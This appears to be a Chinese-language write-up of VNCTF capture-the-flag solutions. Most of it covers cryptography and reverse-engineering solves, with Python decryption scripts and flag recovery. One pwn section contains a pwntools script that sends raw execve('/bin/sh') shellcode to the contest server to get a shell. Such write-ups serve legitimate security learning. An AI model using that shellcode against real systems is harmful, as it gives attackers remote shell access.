VNCTF WP

easymath

Ai大法(doge)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from sympy import symbols, solve

# 定义变量
x = symbols('x')

# 多项式系数
coeff_2 = 15264966144147258587171776703005926730518438603688487721465
coeff_1 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
N = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

# 定义多项式
polynomial = x**3 - coeff_2*x**2 + coeff_1*x - N

# 求解多项式的整数根
roots = solve(polynomial, x)
print("N的素因子 n0, n1, n2:", roots)
print(roots[0]*roots[1]*roots[2]==125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619)

from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import solve_congruence
import itertools

# 已知密文 c
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

# N 的三个素因子
n0 = 3868765709106144154703556118635822400623994075212553582411
n1 = 5487564316951417093934647798659941512646442958127439071827
n2 = 5908636118089697338533572785710162817248001570348495067227

# 计算平方根 (适用于 p ≡ 3 mod 4)
def sqrt_mod(c, p):
r = pow(c, (p + 1) // 4, p)
return (r, p - r) # 返回两个解

# 计算所有可能的 flag mod ni
roots_n0 = sqrt_mod(c, n0)
roots_n1 = sqrt_mod(c, n1)
roots_n2 = sqrt_mod(c, n2)

# 遍历所有可能的组合
for r0, r1, r2 in itertools.product(roots_n0, roots_n1, roots_n2):
flag, _ = solve_congruence((r0, n0), (r1, n1), (r2, n2))
flag_bytes = long_to_bytes(flag)

if b'{' in flag_bytes.lower(): # 判断是否包含 'flag' 关键字
print("找到正确 flag:", flag_bytes.decode())
break

VN_Lang

image

签个到吧

image

buf可执行,直接发送shellcode即可

image

执行前除了rdi全被置为0,恰好便于构造shellcode

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote("node.vnteam.cn",44184)

shellcode = "\x48\x83\xc7\x0e\xb0\x3b\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00"

print(len(shellcode))
payload = shellcode

r.sendlineafter(b"strength ",payload)

r.interactive()

Hook Fish

image

明显的动态加载dex

dex很贴心,解密算法也给了

image

直接执行下decode,得到第一次加密后的密文

image

第一层加密比较简单,一个交换,两个单字节加密

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def decrypt(encrypted_str):
recovered_chars = []
for i, ch in enumerate(encrypted_str):
E = ord(ch)
if E < 103:
orig = E - (i % 4) + ord('1')
else:
orig = E - ord('7') - (i % 10)
recovered_chars.append(chr(orig))

def code(a, index):
if index >= len(a) - 1:
return
a[index], a[index+1] = a[index+1], a[index]
code(a, index + 2)

char_list = list("".join(recovered_chars))
code(char_list, 0)
hex_str = "".join(char_list)

enc = bytes.fromhex(hex_str)

origin = bytes((b - 68) % 256 for b in enc)

originstr = origin.decode('utf-8')

return originstr


encrypted = "0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5"
decrypted = decrypt(encrypted)
print(decrypted)

解密得到flag

image

Fuko's starfish

image

exe加载了dll,分析了下加密在dll中

image

发现aes特征,进而发现aes的加密函数

image

依托,不过还是可以看出aes扩展密钥的第一步,发现key来自

image

有几个已经初始化,有的没有,看看引用

image

在这里发现初始化把所有的key都换掉了

简单写个脚本

image

返回加密函数,发现反调试

image

如果被调试则不进行异或,上面的key经过异或得到真正的key

image

找到密文进行解密

image

得到flag

kotlindroid

分析代码,发现主加密逻辑,使用aes-gcm-nopadding加密

image

用了库函数?直接梭

IMG_20250209_115803

Screenshot_2025-02-09-11-58-19-34_d3657bd9802e850

根据题目提示,发现密文的前6字节是iv,接着的16字节是tag

找个脚本解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Cipher import AES
import base64

def decrypt(ciphertext_base64, key, aad):
# 解码 Base64 编码的密文
ciphertext = base64.b64decode(ciphertext_base64)
# 假设 IV 长度为 12 字节,GCM 标签长度为 16 字节
iv = ciphertext[:6]
tag = ciphertext[-16:]
encrypted_data = ciphertext[6:-16]

# 创建 AES/GCM 解密器
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
# 设置额外认证数据
cipher.update(aad)

try:
# 解密数据并验证标签
decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag)
return decrypted_data.decode('utf-8')
except ValueError:
print("认证标签验证失败,数据可能被篡改。")
return None


if __name__ == "__main__":
# 密钥,长度必须为 16、24 或 32 字节(对应 AES-128、AES-192 或 AES-256)
key = b'atrikeyssyekirta'
# 假设这是 Base64 编码的加密数据
ciphertext_base64 = 'MTE0NTE0HMuJKLOW1BqCAi2MxpHYjGjpPq82XXQ/jgx5WYrZ2MV53a9xjQVbRaVdRiXFrSn6EcQPzA=='
# 额外认证数据
aad = b'mysecretadd'

decrypted_text = decrypt(ciphertext_base64, key, aad)
if decrypted_text:
print("解密结果:", decrypted_text)

image

AndroidLux

java层没有东西,只有初始化busybox和启动env

image

assets目录下的env解压得到env文件

image

似乎是一个简单的base64编码

base64是变种

image

位移变了,码表也变了,解密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def decode_custom_base64(encoded):
base64_chars = "TUVWXYZabcdefghijABCDEF456789GHIJKLMNOPQRSklmnopqrstuvwxyz0123+/"
base64_table = {char: idx for idx, char in enumerate(base64_chars)}

# 计算填充数量并去除填充符
pad_count = encoded.count('=')
encoded_clean = encoded.rstrip('=')

# 计算原始数据长度
n = len(encoded_clean)
if pad_count == 0:
original_len = (n * 3) // 4
elif pad_count == 1:
original_len = (n * 3 + 2) // 4
elif pad_count == 2:
original_len = (n * 3 + 1) // 4
else:
original_len = (n * 3) // 4

# 转换为索引列表
indices = []
for c in encoded_clean:
if c in base64_table:
indices.append(base64_table[c])
else:
indices.append(0) # 处理无效字符,假设为0

decoded = bytearray()
for i in range(0, len(indices), 4):
chunk = indices[i:i+4]
while len(chunk) < 4:
chunk.append(0) # 不足四部分补0

c1, c2, c3, c4 = chunk

# 解码第一个字节
a = (c1 << 2) | (c2 & 0x03)
decoded.append(a)

# 解码第二个字节
b_high = (c2 & 0x3C) >> 2
b_low = c3 & 0x0F
b = (b_high << 4) | b_low
decoded.append(b)

# 解码第三个字节
c_high = (c3 >> 4) & 0x03
c = (c_high << 6) | c4
decoded.append(c)

# 根据原始长度截断结果
return bytes(decoded[:original_len])

# 示例用法
encoded_str = "56BM" # 编码后的字符串
decoded_data = decode_custom_base64(encoded_str)
print(decoded_data)

解密密文发现解不出来,在这里卡了好久,最后也没找到对密文和输入修改的地方

所以我把env patch掉

image

将返回值修改为输入或者输出

然后把env替换掉,输入数据

IMG_20250209_123147

IMG_20250209_123156

得到上述数据,很有规律

输入循环加减1,应该是跟1异或

根据输出,可以发现正确的密文开始应该是ECIVEA40,而程序中的是RPVIRN40

数字没发生变化,注意到I和V是相对的,然后发现对应的字母相差0xd

image

整理下,发现对应关系是这样的

image

哦,rot13?

尝试解密密文

image

哦呼,对上了

image

然后异或1

得到flag

image

实际修改位置在ld.so.preload​加载的/usr/libexec/libexec.so

image

image

对两个系统函数进行hook,修改了内容

抽奖转盘

赛后出的,还是太菜了

鸿蒙逆向没法调试,可以用deveco开虚拟机看看界面

主界面输入框加按钮

image

找到回调函数,跟进

image

直接调用native层

image

rc4多进行一步异或

再进行 标准base64

image

这里从index中获取加密后的数据

image

再进行一步操作,然后比较

image

最后解密即可